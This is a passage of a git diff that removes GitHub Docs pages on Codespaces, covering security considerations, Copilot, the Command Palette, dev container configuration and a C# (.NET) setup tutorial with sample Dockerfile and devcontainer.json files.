contain powerful features, such as installing third-party extensions and running arbitrary code supplied in a `postCreateCommand`. - -For more information, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers). - -#### Granting access through features - -Certain development features can potentially add risk to your environment. For example, commit signing, secrets injected into environment variables, authenticated registry access, and packages access can all present potential security issues. We recommend that you only grant access to those who need it and adopt a policy of being as restrictive as possible. - -#### Using extensions - -Any additional {% data variables.product.prodname_vscode_shortname %} extensions that you've installed can potentially introduce more risk. To help mitigate this risk, ensure that the you only install trusted extensions, and that they are always kept up to date. - -#### Using Settings Sync - -{% data variables.product.prodname_vscode_shortname %}'s Settings Sync can allow potentially malicious content to transfer across devices. By default, Settings Sync is disabled for codespaces opened in the browser. If you're creating a codespace for a repository whose contents you do not trust, you should open the codespace in the browser and leave Settings Sync turned off. - -If you have enabled Settings Sync in your user preferences, and want to allow changes to your settings to sync from your codespaces to other instances of {% data variables.product.prodname_vscode_shortname %}, we recommend you add a selected list of trusted repositories, rather than trusting all repositories. When you create codespaces from trusted repositories, changes you make to your settings in the codespaces are synced to your cached settings in the cloud, from which they can transfer to your devices. For more information about managing Settings Sync, see [AUTOTITLE](/codespaces/setting-your-user-preferences/personalizing-github-codespaces-for-your-account#settings-sync). diff --git a/content/codespaces/reference/using-github-copilot-in-github-codespaces.md b/content/codespaces/reference/using-github-copilot-in-github-codespaces.md deleted file mode 100644 index e2117e0a4488..000000000000 --- a/content/codespaces/reference/using-github-copilot-in-github-codespaces.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Using GitHub Copilot in GitHub Codespaces -intro: 'You can use {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_github_codespaces %} by adding a VS Code extension.' -versions: - fpt: '*' - ghec: '*' -type: reference -topics: - - Codespaces - - Copilot - - Visual Studio Code -shortTitle: Copilot in Codespaces -redirect_from: - - /codespaces/codespaces-reference/using-copilot-in-codespaces - - /codespaces/codespaces-reference/using-github-copilot-in-codespaces - - /codespaces/codespaces-reference/using-github-copilot-in-github-codespaces ---- - -[{% data variables.product.prodname_copilot %}](https://copilot.github.com/) is an AI pair programmer that you can use in any codespace that you open in the {% data variables.product.prodname_vscode_shortname %} web client or desktop application. For more information about {% data variables.product.prodname_copilot %}, see [AUTOTITLE](/copilot/about-github-copilot/what-is-github-copilot). - -To start using {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_github_codespaces %}, install the [{% data variables.product.prodname_copilot %} extension from the {% data variables.product.prodname_vscode_marketplace %}](https://marketplace.visualstudio.com/items?itemName=GitHub.copilot). - -To include {% data variables.product.prodname_copilot %}, or other extensions, in all of your codespaces, enable Settings Sync. For more information, see [AUTOTITLE](/codespaces/setting-your-user-preferences/personalizing-github-codespaces-for-your-account#settings-sync). Additionally, to include {% data variables.product.prodname_copilot %} in a given project for all users, you can specify `GitHub.copilot` as an extension in your `devcontainer.json` file. For information about configuring a `devcontainer.json` file, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers#creating-a-custom-dev-container-configuration). - -## Further reading - -* [AUTOTITLE](/copilot/using-github-copilot/getting-started-with-github-copilot?tool=vscode) diff --git a/content/codespaces/reference/using-the-vs-code-command-palette-in-codespaces.md b/content/codespaces/reference/using-the-vs-code-command-palette-in-codespaces.md deleted file mode 100644 index 18f50595ac37..000000000000 --- a/content/codespaces/reference/using-the-vs-code-command-palette-in-codespaces.md +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: Using the Visual Studio Code Command Palette in GitHub Codespaces -intro: 'You can use the Command Palette feature of {% data variables.product.prodname_vscode %} to access many commands in {% data variables.product.prodname_github_codespaces %}.' -versions: - fpt: '*' - ghec: '*' -type: reference -topics: - - Codespaces - - Visual Studio Code -shortTitle: VS Code Command Palette -allowTitleToDifferFromFilename: true -redirect_from: - - /codespaces/codespaces-reference/using-the-command-palette-in-codespaces - - /codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces ---- - -## About the {% data variables.product.prodname_vscode_command_palette %} - -The {% data variables.product.prodname_vscode_command_palette_shortname %} is one of the focal features of {% data variables.product.prodname_vscode %} and is available for you to use in {% data variables.product.prodname_github_codespaces %}. The Command Palette allows you to access many commands for {% data variables.product.prodname_github_codespaces %} and {% data variables.product.prodname_vscode_shortname %}. For more information on using the {% data variables.product.prodname_vscode_command_palette_shortname %}, see [User Interface](https://code.visualstudio.com/docs/getstarted/userinterface#_command-palette) in the {% data variables.product.prodname_vscode_shortname %} documentation. - -## Accessing the {% data variables.product.prodname_vscode_command_palette_shortname %} - -You can access the {% data variables.product.prodname_vscode_command_palette_shortname %} in a number of ways. - -* <kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>P</kbd> (Mac) / <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Windows/Linux). - - Note that this command is a reserved keyboard shortcut in Firefox. -* <kbd>F1</kbd> -* From the Application Menu, click **View > Command Palette**. - -## Commands for {% data variables.product.prodname_codespaces %} - -To see all commands related to {% data variables.product.prodname_github_codespaces %}, [access the {% data variables.product.prodname_vscode_command_palette_shortname %}](#accessing-the-vs-code-command-palette), then start typing "Codespaces". - -![Screenshot of the Command Palette with "codespaces" entered. The dropdown lists all commands that relate to {% data variables.product.prodname_github_codespaces %}.](/assets/images/help/codespaces/codespaces-command-palette.png) - -### Suspending or stopping a codespace - -If you add a new secret or change the machine type, you'll have to stop and restart the codespace for it to apply your changes. - -To suspend or stop your codespace's container, [access the {% data variables.product.prodname_vscode_command_palette_shortname %}](#accessing-the-vs-code-command-palette), then start typing "stop". Select **Codespaces: Stop Current Codespace**. - -![Screenshot of the Command Palette with the search text "stop" and the option "Codespaces: Stop Current Codespace."](/assets/images/help/codespaces/codespaces-stop.png) - -### Adding a predefined dev container configuration - -To add a predefined dev container configuration, [access the {% data variables.product.prodname_vscode_command_palette_shortname %}](#accessing-the-vs-code-command-palette), then start typing "add dev". Click **Codespaces: Add Dev Container Configuration Files**. - -![Screenshot of the Command Palette, with "add dev" entered and "Codespaces: Add Dev Container Configuration Files" listed.](/assets/images/help/codespaces/add-prebuilt-container-command.png) - -### Rebuilding a codespace - -If you add a dev container or edit any of the configuration files (`devcontainer.json` and `Dockerfile`), you'll have to rebuild your codespace for it to apply your changes. - -To rebuild your container, [access the {% data variables.product.prodname_vscode_command_palette_shortname %}](#accessing-the-vs-code-command-palette), then start typing "rebuild". Select **Codespaces: Rebuild Container**. - -![Screenshot of the Command Palette with the search text "rebuild" and the option "Codespaces: Rebuild Container."](/assets/images/help/codespaces/codespaces-rebuild.png) - -{% data reusables.codespaces.full-rebuild-tip %} - -### Codespaces logs - -You can use the {% data variables.product.prodname_vscode_command_palette_shortname %} to access the codespace creation logs, or you can use it export all logs. - -To retrieve the logs for {% data variables.product.prodname_github_codespaces %}, [access the {% data variables.product.prodname_vscode_command_palette_shortname %}](#accessing-the-vs-code-command-palette), then start typing "export". Select **Codespaces: Export Logs** to export all logs related to {% data variables.product.prodname_github_codespaces %} or select **Codespaces: View Creation Logs** to view logs related to the setup. - -![Screenshot of the Command Palette with the search text "export" and the option "Codespaces: Export Logs."](/assets/images/help/codespaces/codespaces-logs.png) - -## Further reading - -* [AUTOTITLE](/codespaces/developing-in-a-codespace/using-github-codespaces-in-visual-studio-code) diff --git a/content/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/index.md b/content/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/index.md deleted file mode 100644 index 954f54803173..000000000000 --- a/content/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Adding a dev container configuration to your repository -shortTitle: Adding a dev container configuration -allowTitleToDifferFromFilename: true -intro: 'You can add a custom dev container configuration to your repository to set up the {% data variables.product.prodname_github_codespaces %} development environment for your codebase.' -versions: - fpt: '*' - ghec: '*' -redirect_from: - - /codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces -children: - - /introduction-to-dev-containers - - /setting-up-your-nodejs-project-for-codespaces - - /setting-up-your-dotnet-project-for-codespaces - - /setting-up-your-java-project-for-codespaces - - /setting-up-your-php-project-for-codespaces - - /setting-up-your-python-project-for-codespaces ---- - diff --git a/content/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers.md b/content/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers.md deleted file mode 100644 index cd3f8a4f71f3..000000000000 --- a/content/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers.md +++ /dev/null @@ -1,233 +0,0 @@ ---- -title: Introduction to dev containers -intro: 'When you work in a codespace, the environment you are working in is created using a development container, or dev container, hosted on a virtual machine.' -permissions: People with write permissions to a repository can create or edit the codespace configuration. -redirect_from: - - /github/developing-online-with-github-codespaces/configuring-github-codespaces-for-your-project - - /codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project - - /github/developing-online-with-codespaces/configuring-codespaces-for-your-project - - /codespaces/customizing-your-codespace/configuring-codespaces-for-your-project - - /codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project - - /codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Set up - - Fundamentals ---- - -## About dev containers - -Development containers, or dev containers, are Docker containers that are specifically configured to provide a fully featured development environment. Whenever you work in a codespace, you are using a dev container on a virtual machine. - -You can configure the dev container for a repository so that codespaces created for that repository give you a tailored development environment, complete with all the tools and runtimes you need to work on a specific project. If you don't define a configuration in the repository then {% data variables.product.prodname_github_codespaces %} uses a default configuration, which contains many of the common tools that your team might need for development with your project. See [Using the default dev container configuration](#using-the-default-dev-container-configuration). - -The configuration files for a dev container are contained in a `.devcontainer` directory in your repository. You can use {% data variables.product.prodname_vscode %} to add configuration files for you. You can choose from a selection of predefined configurations for various project types. You can use these without further configuration, or you can edit the configurations to refine the development environment they produce. See [Using a predefined dev container configuration](#using-a-predefined-dev-container-configuration). - -Alternatively, you can add your own custom configuration files. See [Creating a custom dev container configuration](#creating-a-custom-dev-container-configuration). - -You can define a single dev container configuration for a repository, different configurations for different branches, or multiple configurations. When multiple configurations are available, users can choose their preferred configuration when they create a codespace. This is particularly useful for large repositories that contain source code in different programming languages or for different projects. You can create a choice of configurations that allow different teams to work in a codespace that's set up appropriately for the work they are doing. - -When you create a codespace from a template, you might start with one or more dev container configuration files in your workspace. To configure your environment further, you can add or remove settings from these files and rebuild the container to apply the changes to the codespace you're working in. If you publish your codespace to a repository on {% data variables.product.github %}, then any codespaces created from that repository will share the configuration you've defined. See [Applying configuration changes to a codespace](#applying-configuration-changes-to-a-codespace) and [AUTOTITLE](/codespaces/developing-in-a-codespace/creating-a-codespace-from-a-template#publishing-to-a-remote-repository). - -### devcontainer.json - -The primary file in a dev container configuration is the `devcontainer.json` file. You can use this file to determine the environment of codespaces created for your repository. The contents of this file define a dev container that can include frameworks, tools, extensions, and port forwarding. The `devcontainer.json` file usually contains a reference to a Dockerfile, which is typically located alongside the `devcontainer.json` file. - -If you create a codespace from a repository without a `devcontainer.json` file, or if you start from {% data variables.product.company_short %}'s blank template, the default dev container configuration is used. See [Using the default dev container configuration](#using-the-default-dev-container-configuration). - -The `devcontainer.json` file is usually located in the `.devcontainer` directory of your repository. Alternatively, you can locate it directly in the root of the repository, in which case the file name must begin with a period: `.devcontainer.json`. - -If you want to have a choice of dev container configurations in your repository, any alternatives to the `.devcontainer/devcontainer.json` (or `.devcontainer.json`) file must be located in their own subdirectory at the path `.devcontainer/SUBDIRECTORY/devcontainer.json`. For example, you could have a choice of two configurations: -* `.devcontainer/database-dev/devcontainer.json` -* `.devcontainer/gui-dev/devcontainer.json` - -When you have multiple `devcontainer.json` files in your repository, each codespace is created from only one of the configurations. Settings cannot be imported or inherited between `devcontainer.json` files. If a `devcontainer.json` file in a custom subdirectory has dependent files, such as the Dockerfile or scripts that are run by commands in the `devcontainer.json` file, it's recommended that you co-locate these files in the same subdirectory. - -For information about how to choose your preferred dev container configuration when you create a codespace, see [AUTOTITLE](/codespaces/developing-in-a-codespace/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository). - -{% data reusables.codespaces.more-info-devcontainer %} - -#### How to use the devcontainer.json - -It's useful to think of the `devcontainer.json` file as providing "customization" rather than "personalization." You should only include things that everyone working on your codebase needs as standard elements of the development environment, not things that are personal preferences. Things like linters are good to standardize on, and to require everyone to have installed, so they're good to include in your `devcontainer.json` file. Things like user interface decorators or themes are personal choices that should not be put in the `devcontainer.json` file. - -You can personalize your codespaces by using dotfiles and Settings Sync. See [AUTOTITLE](/codespaces/setting-your-user-preferences/personalizing-github-codespaces-for-your-account). - -### Dockerfile - -You can add a Dockerfile as part of your dev container configuration. - -The Dockerfile is a text file that contains the instructions needed to create a Docker container image. This image is used to generate a development container each time someone creates a codespace using the `devcontainer.json` file that references this Dockerfile. The instructions in the Dockerfile typically begin by referencing a parent image on which the new image that will be created is based. This is followed by commands that are run during the image creation process, for example to install software packages. - -The Dockerfile for a dev container is typically located in the `.devcontainer` folder, alongside the `devcontainer.json` in which it is referenced. - -> [!NOTE] -> As an alternative to using a Dockerfile you can use the `image` property in the `devcontainer.json` file to refer directly to an existing image you want to use. The image you specify here must be allowed by any organization image policy that has been set. See [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-base-image-for-codespaces). If neither a Dockerfile nor an image is found then the default container image is used. See [Using the default dev container configuration](#using-the-default-dev-container-configuration). - -#### Simple Dockerfile example - -The following example uses four instructions: - -`ARG` defines a build-time variable. - -`FROM` specifies the parent image on which the generated Docker image will be based. If a base image policy has been configured, allowing only certain images to be used, the specified image must match one of the image references in the policy. If it does not, codespaces for this repository will be created in recovery mode. See [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-base-image-for-codespaces). - -`COPY` copies a file from the repository and adds it to the filesystem of the codespace. - -`RUN` updates package lists and runs a script. You can also use a `RUN` instruction to install software, as shown by the commented out instructions. To run multiple commands, use `&&` to combine the commands into a single `RUN` statement. - -```dockerfile copy -ARG VARIANT="16" -FROM mcr.microsoft.com/devcontainers/javascript-node:1-${VARIANT} - -RUN apt-get update && export DEBIAN_FRONTEND=noninteractive \ - && apt-get -y install --no-install-recommends bundler - -# [Optional] Uncomment if you want to install an additional version -# of node using nvm -# ARG EXTRA_NODE_VERSION=18 -# RUN su node -c "source /usr/local/share/nvm/nvm.sh \ -# && nvm install ${EXTRA_NODE_VERSION}" - -COPY ./script-in-your-repo.sh /tmp/scripts/script-in-codespace.sh -RUN apt-get update && bash /tmp/scripts/script-in-codespace.sh -``` - -> [!NOTE] -> In the above example, the script that's copied to the codespace (`script-in-your-repo.sh`) must exist in your repository. - -For more information about Dockerfile instructions, see [Dockerfile reference](https://docs.docker.com/engine/reference/builder) in the Docker documentation. - -#### Using a Dockerfile - -To use a Dockerfile as part of a dev container configuration, reference it in your `devcontainer.json` file by using the `dockerfile` property. - -```jsonc copy -{ - // ... - "build": { "dockerfile": "Dockerfile" }, - // ... -} -``` - -Various options are available to you if you want to use existing container orchestration in your dev container. See the "Orchestration options" section of the [Specification](https://containers.dev/implementors/spec/#orchestration-options) on the Development Containers website. - -## Using the default dev container configuration - -If you don't add a dev container configuration to your repository, or if your configuration does not specify a base image to use, then {% data variables.product.prodname_dotcom %} creates a container from a default Linux image. This Linux image includes a number of runtime versions for popular languages like Python, Node, PHP, Java, Go, C++, Ruby, and .NET Core/C#. The latest or LTS releases of these languages are used. There are also tools to support data science and machine learning, such as JupyterLab and Conda. The default dev container image also includes other developer tools and utilities like Git, GitHub CLI, yarn, openssh, and vim. To see all the languages, runtimes, and tools that are included use the `devcontainer-info content-url` command inside your codespace terminal and follow the URL that the command outputs. - -{% data reusables.codespaces.default-image-contents %} - -The default configuration is a good option if you're working on a small project that uses the languages and tools that {% data variables.product.prodname_github_codespaces %} provides. - -> [!NOTE] -> {% data variables.product.prodname_dotcom %} does not charge for storage of containers built from the default dev container image. For more information about billing for codespace storage, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#about-billing-for-storage-usage). {% data reusables.codespaces.check-for-default-image %} - -## Using a predefined dev container configuration - -If you use {% data variables.product.prodname_codespaces %} in {% data variables.product.prodname_vscode %}, or in a web browser, you can create a dev container configuration for your repository by choosing from a list of predefined configurations. These configurations provide common setups for particular project types, and can help you quickly get started with a configuration that already has the appropriate container options, {% data variables.product.prodname_vscode %} settings, and {% data variables.product.prodname_vscode %} extensions that should be installed. - -Using a predefined configuration is a great idea if you need some additional extensibility. You can also start with a predefined configuration and amend it as needed for your project. For more information about the definitions of predefined dev containers, see the [`devcontainers/images`](https://github.com/devcontainers/images/tree/main/src) repository. - -You can add a predefined dev container configuration either while working in a codespace, or while working on a repository locally. To do this in {% data variables.product.prodname_vscode_shortname %} while you are working locally, and not connected to a codespace, you must have the "Dev Containers" extension installed and enabled. For more information about this extension, see the [{% data variables.product.prodname_vs_marketplace_shortname %}](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers). The following procedure describes the process when you are using a codespace. The steps in {% data variables.product.prodname_vscode_shortname %} when you are not connected to a codespace are very similar. - -1. Access the {% data variables.product.prodname_vscode_command_palette %} (<kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>P</kbd> / <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd>), then start typing "add dev". Click **Codespaces: Add Dev Container Configuration Files**. - - ![Screenshot of the Command Palette, with "add dev" entered and "Codespaces: Add Dev Container Configuration Files" listed.](/assets/images/help/codespaces/add-prebuilt-container-command.png) - -1. Click **Create a new configuration**. -1. Click **Show All Definitions**. - - ![Screenshot of the "Add Dev Container Configuration Files" menu with the dropdown showing various options, including "Show All Definitions."](/assets/images/help/codespaces/show-all-definitions.png) - -1. Click the definition you want to use. - - ![Screenshot of the "Add Development Container Configuration Files" menu showing options such as "Alpine," "C# (.NET)," "C++," and "Debian."](/assets/images/help/codespaces/predefined-container-definitions-list.png) - -1. Follow the prompts to customize your definition. -1. Click **OK**. -1. If you are working in a codespace, apply your changes by clicking **Rebuild now** in the pop-up at the bottom right of the window. For more information about rebuilding your container, see [Applying configuration changes to a codespace](#applying-configuration-changes-to-a-codespace). - - ![Screenshot of the message: "We've noticed a change to the dev container configuration." Below this is the "Rebuild Now" button.](/assets/images/help/codespaces/rebuild-prompt.png) - -### Adding additional features to your `devcontainer.json` file - -{% data reusables.codespaces.about-features %} See [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/configuring-dev-containers/adding-features-to-a-devcontainer-file?tool=vscode). - -## Creating a custom dev container configuration - -If none of the predefined configurations meets your needs, you can create a custom configuration by writing your own `devcontainer.json` file. - -* If you're adding a single `devcontainer.json` file that will be used by everyone who creates a codespace from your repository, create the file within a `.devcontainer` directory at the root of the repository. -* If you want to offer users a choice of configuration, you can create multiple custom `devcontainer.json` files, each located within a separate subdirectory of the `.devcontainer` directory. - - > [!NOTE] - > * You can't locate your `devcontainer.json` files in directories more than one level below `.devcontainer`. For example, a file at `.devcontainer/teamA/devcontainer.json` will work, but `.devcontainer/teamA/testing/devcontainer.json` will not. - > * {% data reusables.codespaces.configuration-choice-templates %} See [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/setting-up-your-repository/setting-up-a-template-repository-for-github-codespaces). - - If multiple `devcontainer.json` files are found in the repository, they are listed in the **Dev container configuration** dropdown on the codespace creation options page. See [AUTOTITLE](/codespaces/developing-in-a-codespace/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository). - - ![Screenshot of the codespace creation options page, showing a dropdown listing a choice of configuration files.](/assets/images/help/codespaces/configuration-file-choice.png) - -### Adding a `devcontainer.json` file - -If you don't already have a `devcontainer.json` file in your repository, you can quickly add one from {% data variables.product.github %}. -1. Navigate to your repository and click the **{% octicon "code" aria-hidden="true" %} Code** dropdown. -1. In the **Codespaces** tab, click the ellipsis (**...**), then select **Configure dev container**. - - ![Screenshot of the "Code" dropdown, and, within it, another dropdown with the "Configure dev container" option highlighted.](/assets/images/help/codespaces/configure-dev-container.png) - -A new `.devcontainer/devcontainer.json` file will open in the editor. The file will contain some initial properties, including a `features` object to which you can add new tools, libraries, or runtimes. See [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/configuring-dev-containers/adding-features-to-a-devcontainer-file?tool=webui). - -If your repository already contains one or more `devcontainer.json` files, then clicking **Configure dev container** will open the existing `devcontainer.json` file with the highest precedence according to the [specification](https://containers.dev/implementors/spec/#devcontainerjson) on the Development Containers website. - -### Default configuration selection during codespace creation - -If `.devcontainer/devcontainer.json` or `.devcontainer.json` exists, it will be the default selection in the list of available configuration files when you create a codespace. If neither file exists, the default dev container configuration will be selected by default. - -In the following screenshot, the repository does not contain `.devcontainer/devcontainer.json` or `.devcontainer.json` files, so the default dev container configuration is selected. However, two alternative configuration files have been defined in subdirectories of the `.devcontainer` directory, so these are listed as options. - -![Screenshot of the "Dev container configuration" dropdown with the default configuration choice selected.](/assets/images/help/codespaces/configuration-file-choice-default.png) - -### Editing the devcontainer.json file - -You can add and edit the supported configuration keys in the `devcontainer.json` file to specify aspects of the codespace's environment, like which {% data variables.product.prodname_vscode_shortname %} extensions will be installed. {% data reusables.codespaces.more-info-devcontainer %} - -The `devcontainer.json` file is written using the JSONC (JSON with comments) format. This allows you to include comments within the configuration file. See [Editing JSON with {% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/docs/languages/json#_json-with-comments) in the {% data variables.product.prodname_vscode_shortname %} documentation. - -> [!NOTE] -> If you use a linter to validate the `devcontainer.json` file, make sure it is set to JSONC and not JSON or comments will be reported as errors. - -### Interface settings for {% data variables.product.prodname_vscode_shortname %} - -You can configure the interface settings for {% data variables.product.prodname_vscode_shortname %}, with three scopes: User, Remote [Codespaces], and Workspace. You can view these scopes in the {% data variables.product.prodname_vscode_shortname %} Settings editor. - -To display the Setting editor, use the keyboard shortcut <kbd>Command</kbd>+<kbd>,</kbd> (Mac) / <kbd>Ctrl</kbd>+<kbd>,</kbd> (Linux/Windows). - -![Screenshot of the "Settings" editor with the tabs for the three scopes highlighted with an orange outline.](/assets/images/help/codespaces/scopes-for-vscode.png) - -If a setting is defined in multiple scopes, Workspace settings take priority, then Remote [Codespaces], then User. - -You can define default interface settings for {% data variables.product.prodname_vscode_shortname %} in two places. - -* Interface settings defined in the `.vscode/settings.json` file in your repository are applied as Workspace-scoped settings in the codespace. -* Interface settings defined in the `settings` key in the `devcontainer.json` file are applied as Remote [Codespaces]-scoped settings in the codespace. - -## Applying configuration changes to a codespace - -Changes to a configuration will be applied the next time you create a codespace. However, you can apply your changes to an existing codespace by rebuilding the container. You can do this within a codespace in the {% data variables.product.prodname_vscode_shortname %} web client or desktop application, or you can use {% data variables.product.prodname_cli %}. - -{% data reusables.codespaces.rebuild-note %} - -### Rebuilding the dev container in the {% data variables.product.prodname_vscode_shortname %} web client or desktop application - -{% data reusables.codespaces.rebuild-command %} -{% data reusables.codespaces.rebuilding-container-procedures %} - -## Further reading - -* [AUTOTITLE](/codespaces/prebuilding-your-codespaces) diff --git a/content/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/setting-up-your-dotnet-project-for-codespaces.md b/content/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/setting-up-your-dotnet-project-for-codespaces.md deleted file mode 100644 index 80a42a617957..000000000000 --- a/content/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/setting-up-your-dotnet-project-for-codespaces.md +++ /dev/null @@ -1,188 +0,0 @@ ---- -title: Setting up a C# (.NET) project for GitHub Codespaces -shortTitle: Setting up a C# (.NET) project -allowTitleToDifferFromFilename: true -intro: 'Get started with a C# (.NET) project in {% data variables.product.prodname_github_codespaces %} by creating a custom dev container configuration.' -redirect_from: - - /codespaces/getting-started-with-codespaces/getting-started-with-your-dotnet-project - - /codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces -versions: - fpt: '*' - ghec: '*' -type: tutorial -topics: - - Codespaces - - Developer - - Set up ---- - -## Introduction - -This tutorial guide shows you how to set up an example C# (.NET) project {% data reusables.codespaces.setting-up-project-intro %} - -## Step 1: Open the project in a codespace - -{% data reusables.getting-started.sign-in-dotcom %} -1. Go to https://github.com/microsoft/vscode-remote-try-dotnet. -{% data reusables.codespaces.use-this-template %} - -When you create a codespace, your project is created on a remote virtual machine that is dedicated to you. By default, the container for your codespace has many languages and runtimes, including .NET. It also includes a common set of tools like git, wget, rsync, openssh, and nano. - -{% data reusables.codespaces.customize-vcpus-and-ram %} - -## Step 2: Add a dev container configuration - -The default development container, or "dev container," for {% data variables.product.prodname_github_codespaces %} comes with the latest .NET version and common tools preinstalled. However, we recommend that you configure your own dev container to include all of the tools and scripts your project needs. This will ensure a fully reproducible environment for all {% data variables.product.prodname_github_codespaces %} users in your repository. - -{% data reusables.codespaces.setup-custom-devcontainer %} -{% data reusables.codespaces.command-palette-container %} -1. Type `c#` and click **C# (.NET)**. Other options are available if your project uses particular tools. For example, C# and MS SQL. - - ![Screenshot of the "Add Dev Container Configuration Files" dropdown, with "c#" entered in the text box and various C# options listed below.](/assets/images/help/codespaces/add-csharp-prebuilt-container.png) - -1. Choose the version of .NET you want to use for your project. In this case, select the version marked "(default)." - - ![Screenshot of the "Add Dev Container Configuration Files" dropdown, showing a variety of .NET versions, including "7.0 (default)."](/assets/images/help/codespaces/add-dotnet-version.png) - -1. A list of additional features is displayed. We'll install the .NET CLI, a command-line interface for developing, building, running, and publishing .NET applications. To install this tool, type `dotnet`, select `Dotnet CLI`, then click **OK**. - - ![Screenshot of the "Add Dev Container Configuration Files" dropdown, showing "dotnet" in the text box and "Dotnet CLI" in the dropdown list.](/assets/images/help/codespaces/add-dotnet-features.png) - -{% data reusables.codespaces.overwrite-devcontainer-config %} -{% data reusables.codespaces.details-of-devcontainer-config %} - -```jsonc -// For format details, see https://aka.ms/devcontainer.json. For config options, see the -// README at: https://github.com/devcontainers/templates/tree/main/src/dotnet -{ - "name": "C# (.NET)", - // Or use a Dockerfile or Docker Compose file. More info: https://containers.dev/guide/dockerfile - "image": "mcr.microsoft.com/devcontainers/dotnet:0-7.0", - "features": { - "ghcr.io/devcontainers/features/dotnet:1": {} - } - - // Features to add to the dev container. More info: https://containers.dev/features. - // "features": {}, - - // Use 'forwardPorts' to make a list of ports inside the container available locally. - // "forwardPorts": [5000, 5001], - // "portsAttributes": { - // "5001": { - // "protocol": "https" - // } - // } - - // Use 'postCreateCommand' to run commands after the container is created. - // "postCreateCommand": "dotnet restore", - - // Configure tool-specific properties. - // "customizations": {}, - - // Uncomment to connect as root instead. More info: https://aka.ms/dev-containers-non-root. - // "remoteUser": "root" -} -``` - -{% data reusables.codespaces.devcontainer-properties-1 %} -* **portsAttributes** - This property maps a specified port to one or more default options. For more information, see the [dev containers specification](https://containers.dev/implementors/json_reference/#port-attributes) on the Development Containers website. -{% data reusables.codespaces.devcontainer-properties-2 %} - -{% data reusables.codespaces.additional-container-config %} - -## Step 3: Modify your devcontainer.json file - -With your dev container configuration added and a basic understanding of what everything does, you can now make changes to customize your environment further. In this example, you'll add properties that will: -* Forward the port on which the application runs on the remote machine to your local machine. -* Run `dotnet restore`, after the dev container is created, to restore the dependencies required by the application. -* Automatically install a {% data variables.product.prodname_vscode_shortname %} extension in this codespace. - -{% data reusables.codespaces.add-comma-after-features %} - - ```jsonc copy - "features": { - "ghcr.io/devcontainers/features/dotnet:1": {} - }, - - // Features to add to the dev container. More info: https://containers.dev/features. - // "features": {}, - ``` - -1. Uncomment the `forwardPorts` property and change its value to port `5000` only. - - ```jsonc copy - // Use 'forwardPorts' to make a list of ports inside the container available locally. - "forwardPorts": [5000], - ``` - -1. Uncomment the `postCreateCommand` property. - - ```jsonc copy - // Use 'postCreateCommand' to run commands after the container is created. - "postCreateCommand": "dotnet restore", - ``` - -{% data reusables.codespaces.add-extension-to-devcontainer %} - - ```jsonc - // For format details, see https://aka.ms/devcontainer.json. For config options, see the - // README at: https://github.com/devcontainers/templates/tree/main/src/dotnet - { - "name": "C# (.NET)", - // Or use a Dockerfile or Docker Compose file. More info: https://containers.dev/guide/dockerfile - "image": "mcr.microsoft.com/devcontainers/dotnet:0-7.0", - "features": { - "ghcr.io/devcontainers/features/dotnet:1": {} - }, - - // Use 'forwardPorts' to make a list of ports inside the container available locally. - "forwardPorts": [5000], - // "portsAttributes": { - // "5001": { - // "protocol": "https" - // } - // } - - // Use 'postCreateCommand' to run commands after the container is created. - "postCreateCommand": "dotnet restore", - - // Configure tool-specific properties. - "customizations": { - // Configure properties specific to VS Code. - "vscode": { - // Add the IDs of extensions you want installed when the container is created. - "extensions": [ - "streetsidesoftware.code-spell-checker" - ] - } - } - - // Uncomment to connect as root instead. More info: https://aka.ms/dev-containers-non-root. - // "remoteUser": "root" - } - ``` - -{% data reusables.codespaces.save-changes %} -{% data reusables.codespaces.rebuild-command %} - {% data reusables.codespaces.rebuild-reason %} - - After the dev container is rebuilt, and your codespace becomes available again, the `postCreateCommand` will have been run, restoring the required dependencies, and the "Code Spell Checker" extension will be available for use. - -## Step 4: Run your application - -In the previous section, you used the `postCreateCommand` to install a set of packages via the `dotnet restore` command. With the dependencies now installed, you can run the application. - -1. Run the application by pressing `F5` or entering `dotnet watch run` in the Terminal. -1. When the application starts, click the **Ports** tab, right-click port 5000 and click **Open in Browser**. - - ![Screenshot of the "Ports" tab, showing the right-click menu 